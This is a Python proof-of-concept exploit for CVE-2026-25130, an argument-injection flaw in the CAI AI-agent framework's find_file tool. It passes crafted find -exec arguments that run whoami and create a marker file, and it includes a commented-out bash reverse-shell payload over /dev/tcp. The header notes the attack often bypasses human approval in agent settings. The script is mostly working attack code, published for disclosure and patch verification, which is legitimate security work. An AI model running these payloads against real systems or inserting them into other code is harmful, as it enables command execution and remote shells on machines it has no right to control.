#!/usr/bin/env python3
# Exploit Title: Cybersecurity AI (CAI) Framework <= 0.5.10 - find_file Argument Injection to OS Command Injection
# CVE: CVE-2026-25130
# Date: 2026-02-03
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/yourusername
# Vendor Homepage: https://github.com/aliasrobotics/cai
# Software Link: https://github.com/aliasrobotics/cai
# Vulnerable Version: cai-framework <= 0.5.10
# Tested on: cai-framework 0.5.10
# Category: Argument Injection / OS Command Injection
# Platform: Python
# Exploit Type: Unauthenticated / Authenticated depending on agent context (often bypasses human approval)
#

#
# Usage:
#    Run the script directly (local execution )
#    Observe command output or side effects (e.g. whoami result, created files, etc.)

from cai.tools.reconnaissance.filesystem import find_file
import sys

def main():
    print("=== CVE-2026-25130 PoC - find_file Argument Injection / OS Command Injection ===")
    print("Vulnerable cai-framework <= 0.5.10")
    print("This demonstrates command execution via malicious 'args' parameter\n")

    # ────────────────────────────────────────────────────────────────
    # PoC 1: Simple proof – execute 'whoami' via -exec
    # ────────────────────────────────────────────────────────────────
    print("[Test 1] Executing 'whoami' via -exec")
    malicious_args = "-type f -exec whoami \\;"

    try:
        result = find_file(
            file_path="/tmp",               # Any readable directory
            args=malicious_args,
            ctf=None
        )
        print("[+] Command output:\n", result)
    except Exception as e:
        print("[-] Execution failed:", str(e))

    print("\n" + "-"*70 + "\n")

    # ────────────────────────────────────────────────────────────────
    # PoC 2: Touch a proof file (non-destructive marker)
    # ────────────────────────────────────────────────────────────────
    print("[Test 2] Creating marker file /tmp/CAI_CVE_2026_25130_PROOF")
    proof_args = '-type d -exec touch /tmp/CAI_CVE_2026_25130_PROOF \\;'

    try:
        result = find_file(
            file_path="/tmp",
            args=proof_args,
            ctf=None
        )
        print("[+] Result:\n", result)
        print("Check if file exists: ls -l /tmp/CAI_CVE_2026_25130_PROOF")
    except Exception as e:
        print("[-] Execution failed:", str(e))

    print("\n" + "-"*70 + "\n")

    # ────────────────────────────────────────────────────────────────
    # PoC 3: Dangerous example – reverse shell 
    # ────────────────────────────────────────────────────────────────
    # print("[Test 3] Reverse shell example (DO NOT RUN UNLESS IN ISOLATED LAB)")
    # rev_args = '-exec bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" \\;'
    # find_file("/tmp", rev_args)

    print("\nPoC finished.")
    print("If commands executed successfully → vulnerability confirmed.")
    print("After patch (commit e22a1220) these payloads should be rejected.")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Stopped by user.")
    except Exception as e:
        print(f"\n[!] Unexpected error: {e}")
        sys.exit(1)